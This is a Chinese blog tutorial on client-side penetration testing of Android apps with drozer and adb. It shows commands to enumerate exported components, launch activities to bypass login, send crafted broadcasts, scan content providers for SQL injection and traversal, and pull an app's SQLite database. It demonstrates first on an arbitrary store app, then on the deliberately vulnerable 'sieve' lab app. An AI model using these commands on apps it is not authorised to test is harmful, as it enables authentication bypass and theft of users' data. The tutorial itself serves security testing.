app渗透测试 客户端篇 (2)

导出的组件前提为,下列满足其一就可:

1.显示声明 android:exported="true" 2.未显示声明 android:exported="false" 组件不是 Content Provider 组件不包含 <intent-filter> 3.未显示声明 android:exported="false" 组件是 Content Provider api版本 < 17

首先选择目标,我在酷安上随便找了个应用

app渗透测试 客户端篇

手机连接好电脑,分别启动dorzer

app渗透测试 客户端篇

使用ls可用查看命令,首先查看有哪些包在运行

run app.package.list

app渗透测试 客户端篇

有许多结果可以通过-f参数进行过滤,这里查看目标app的包名可以通过手机中 设置->更多应用->对应app->应用信息里面有应用包名

app渗透测试 客户端篇

run app.package.list -f xxs

app渗透测试 客户端篇

查看包信息

run app.package.info -a com.xxs.leon.xxs

查看可攻击组件信息

run app.package.attacksurface com.xxs.leon.xxs

app渗透测试 客户端篇

查看对应组件信息

run app.activity.info -a com.xxs.leon.xxs #查看activity组件 run app.broadcast.info -a com.xxs.leon.xxs #查看broadcast组件 run app.provider.info -a com.xxs.leon.xxs #查看provider组件 run app.service.info -a com.xxs.leon.xxs #查看service组件

app渗透测试 客户端篇

那么接下来可以直接调用对应组件,实现绕过app本身逻辑直接请求组件,一般用于绕过登录之类的漏洞

实体机如果不灵光可以重启解决

run app.activity.start --component com.xxs.leon.xxs com.xxs.leon.xxs.ui.activity.WebActivity

广播模块攻击

run app.broadcast.send --action [组件路径] --extra string [输出的变量] [更改的值]

因为小小书app不太典型,因此使用dorzer官网自带的测试漏洞app

https://labs.f-secure.com/tools/drozer/

整个程序功能大致为输入密码后输出信息

启动server服务

run app.service.start --action com.mwr.example.sieve(包名) --component com.mwr.example.sieve(包名) com.mwr.example.sieve.AuthService(组件名)

查看ContentProvider并找到url路径-a后接包名

run scanner.provider.finduris -a com.mwr.example.sieve

app渗透测试 客户端篇

provider 组件可能存在客户端的sql注入和目录遍历的问题

#sql注入 run scanner.provider.injection -a com.mwr.example.sieve #目录遍历 run scanner.provider.traversal -a com.mwr.example.sieve 敏感文件泄露

一般敏感的文件有sqlite的数据库文件,xml文件,logcat日志内容

使用root权限的adb,前往程序app的文件夹下(路径可通过drozer去查看)

adb root adb shell cd xxx/xxx/xxx

app渗透测试 客户端篇

sqlite文件一般在databases下面

可以看到存在database.db的文件,可以通过find命令去查找

find /data/user/0/com.mwr.example.sieve -name *.db

回到pc的命令行,使用adb pull命令将db拷贝出来

adb pull /data/user/0/com.mwr.example.sieve/databases/database.db

app渗透测试 客户端篇

用工具打开sqlite数据库文件

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zzfygf.html